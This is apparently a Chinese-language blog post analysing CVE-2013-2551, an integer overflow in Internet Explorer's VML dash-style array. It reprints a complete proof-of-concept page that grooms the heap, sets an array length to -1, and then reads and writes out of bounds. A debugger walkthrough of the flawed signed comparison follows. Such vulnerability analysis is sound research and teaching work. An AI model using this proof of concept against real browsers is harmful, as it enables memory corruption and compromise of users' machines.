[CVE-2013-2551]-Microsoft Internet Explorer COALineDashStyleArray 整数溢出漏洞分析
0x00 POC
<html>
0x01漏洞分析
1.开启页堆调试,IDA导入VGX符号文件file->loadfile->PDB File,导入成功后,根据poc的“_vgRuntimeStyle”,在IDA的Function Windows查找字符“runtimstyle”,可以看到只有一个COARuntimeStyle类
还有从poc中可以看到对dashstyle的修改,还有vml和shape的length都为负数,猜测是整数溢出,可以用IDA大概查看设置dashstyle值相关的函数
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function crashme(){
var vml1 = document.getElementById("vml1")
var shape = document.getElementById("shape")
for (var i=0; i<0x400; i++){ //set up the heap
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation; //create a COARuntimeStyle
if (i == 0x300) { //allocate an ORG array of size B0h
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1
shape.dashstyle.array.length = 0 - 1
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
try{
shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
}
catch(e) {continue}
}
}
}
</script>
<body onload="createRects();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>
0x01漏洞分析
1.开启页堆调试,IDA导入VGX符号文件file->loadfile->PDB File,导入成功后,根据poc的“_vgRuntimeStyle”,在IDA的Function Windows查找字符“runtimstyle”,可以看到只有一个COARuntimeStyle类
还有从poc中可以看到对dashstyle的修改,还有vml和shape的length都为负数,猜测是整数溢出,可以用IDA大概查看设置dashstyle值相关的函数
COALineDashStyle::put_value(ushort *)
COALineDashStyleArray::put_length(int)
Poc中也对item进行访问和修改,同样的方法查找下
2.从poc的执行流程中推测,在COALineDashStyle::put_value(ushort *)函数下断后,单步跟,可以找到触发漏洞的地方,对上面查到的函数分别下断
2.1COALineDashStyle::put_value(ushort *)分析
中断后,查看下栈上的数据,01b9d640保存的是poc中dashstyle的数据“1,2,3......”
一直单步,差不多到返回时,esi为vml1对象,esi+8为dashstyle,COALineDashStyle::put_value(ushort *)函数功能:把传进来的字符串指针,赋值到esi+8处的地址
2.2COALineDashStyleArray::put_length(int)分析
g运行后,将断下COALineDashStyleArray::put_length(int)函数
查看下栈的数据,-1为参数(int)
获取dashstyle.array的属性
获取dashstyle.array元素的个数
获取完元素的个数与dashstyle.array的长度进行比较,如果元素的个数大于dashstyle.array的长度就不分配内存,
单步到达ORG::DeleteRange函数,跟进去看下
vgx!MsoDeletePx函数继续跟进
vgx!MsoFRemovePx跟进
该函数:主要是把2c-2d相减后(0xffff),赋值到传进来的对象(0478c038)偏移4(0478c03c)
一直单步到COALineDashStyleArray::put_length(int)函数返回
2.3COALineDashStyleArray::get_item函数分析
g运行2次,将到达COALineDashStyleArray::get_item函数
查看下栈数据,可以看出0x44是poc中的0x2E+0x16
单步跟,看到熟悉的对象
0xffff与0x44进行比较,jge有符号比较(大于等于则跳转),0xffff>0x44,跳转不成立
单步跟进vgx!ORG::Get函数
主要功能:以ORG对象(0478c038)偏移10后,取得源地址,源地址再加0x110
目的地址是指向栈空间,每次读取4字节到目的地址
在这里就已经造成信息泄露了,dashstyle.array的实际长度为0x2c,经过vgx!MsoFRemovePx处理变成0xffff(有符号的值赋值到无符号的空间里),而前面比较时采用的是有符号比较,并没有重新分配空间,在COALineDashStyleArray::get_item函数里也采用有符号比较,0xffff已经是无符号数了,所以索引0x44小于0xffff,跳转不会成立,0x44大于0x2c,最终造成信息泄露,具体利用参考《漏洞战争》
评论
发表评论